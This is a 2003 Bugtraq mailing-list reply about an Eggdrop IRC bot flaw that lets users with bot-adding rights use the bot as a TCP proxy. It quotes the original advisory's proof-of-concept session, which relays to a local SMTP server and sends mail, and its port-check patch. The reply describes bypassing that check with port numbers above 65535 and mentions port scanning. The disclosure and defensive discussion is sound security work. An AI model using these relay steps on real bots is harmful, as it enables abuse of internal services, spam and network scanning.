Bugtraq mailing list archives
Re: Eggdrop arbitrary connection vulnerability
From: "D.C. van Moolenbroek" <dc.van.moolenbroek () chello nl>
Date: Mon, 10 Feb 2003 18:27:56 +0100
That's not really a bug, it's mostly an issue of trust: if you give people the ability to link bots, they can also abuse this power and "link" to something else. If you don't want people to be able to use your eggdrop as a proxy, simply don't give them the flags to add/edit bot records. Your patch will not work effectively, by the way, as the port number one specifies using the .+bot command is internally handled as an int (and unsigned int at some other places), and not truncated to an unsigned short until it's put in the socket address structure using the htons() call; so if a malicious bot master uses a port number above 65535, he/she will bypass the low port check. Also, the patch will break some eggdrop TCL scripts, since eggdrop's "connect" TCL command relies on the open_telnet_raw() function as well. A real solution for this relay issue would be to let the two bots communicate with eachother (challenge/response'ish) before allowing the user to send something to the other bot. This would probably be relatively easy to implement in new versions of eggdrop, although it would require all eggdrops in a botnet to be upgraded simultaneously, in order not to break .relay functionality. And even then, some port>=1024 checks would be necessary in botnet.c, or a botmaster could still do a full portscan on an arbitrary host if not all error reporting for .relay and .link (and auto-linking) were stripped out as well. Regards, David ----- Original Message ----- From: "Paul Starzetz" <paul () starzetz de> To: <bugtraq () securityfocus com>; "vendor-sec" <vendor-sec () lst de> Sent: Sunday, February 09, 2003 8:44 PM Subject: Eggdrop arbitrary connection vulnerability
Hi,
there is a serious security problem in the popular eggdrop IRCbot. The
hole allows a regular user with enough 'power' (at least power to add
new bot records) to use any linked instance of the bot on the botnet as
an instant 'proxy'. The following session demonstrates the problem with
an out-of-the-box eggdrop 1.6.10:
.+bot bighole 127.0.0.1:25
[20:23] #IhaQuer# +bot bighole 127.0.0.1:25
Added bot 'bighole' with address '127.0.0.1:25' and no password.
You'll want to add a hostmask if this bot will ever be on any channels
that I'm on.
[20:23] #IhaQuer# match bighole
*** Matching 'bighole':
HANDLE PASS NOTES FLAGS LAST
bighole no 0 b never (nowhere )
ADDRESS: 127.0.0.1
users: 25, bots: 25
--- Found 1 match.
.relay bighole
[20:23] #IhaQuer# relay bighole
Connecting to bighole @ 127.0.0.1:25 ...
(Type *BYE* on a line by itself to abort.)
Success!
NOW CONNECTED TO RELAY BOT bighole ...
(You can type *BYE* to prematurely close the connection.)
*** IhaQuer left the party line.
220 server.org ESMTP Postfix
HELO blahblah.org
250 server.org
MAIL from: blahblah.org
250 Ok
rcpt to: ihaquer () gmx de
250 Ok
data
354 End data with <CR><LF>.<CR><LF>
blah blah
.
250 Ok: queued as CFDFC2F012
Obviously an email has been sent by the local postfix bound to the
loopback address 127.0.0.1! The impact may depend on the host the bot is
running on, including tunneling into internal networks, accessing
services bound to the loopback only, bypassing TCP wrappers etc, etc.
There is no clean solution so far, for my own I decided to modify the
net.c file and add something like:
int open_telnet_raw(int sock, char *server, int sport)
.
.
.
name.sin_family = AF_INET;
name.sin_port = htons(port);
+ if(port < 1024 && port != 113) {
+ putlog(LOG_MISC, "*", "WARNING attempt to connect to low port
%s:%d", server, port);
+ return -1;
+ }
Hope this helps, thanks to Maciek Kroenke for bringing my attention to
this bug,
/ih
--
class sig{static void main(String[]s){for// D.C. van Moolenbroek
(int _=0;19>_;System.out.print((char)(52^// (CS student, VU, NL)
"Y`KbddaZ}`P#KJ#caBG".charAt(_++)-9)));}}// -Java sigs look bad-
Current thread:
- Eggdrop arbitrary connection vulnerability Paul Starzetz (Feb 10)
- Re: Eggdrop arbitrary connection vulnerability D.C. van Moolenbroek (Feb 10)
- Re: Eggdrop arbitrary connection vulnerability Matthew S. Hallacy (Feb 11)
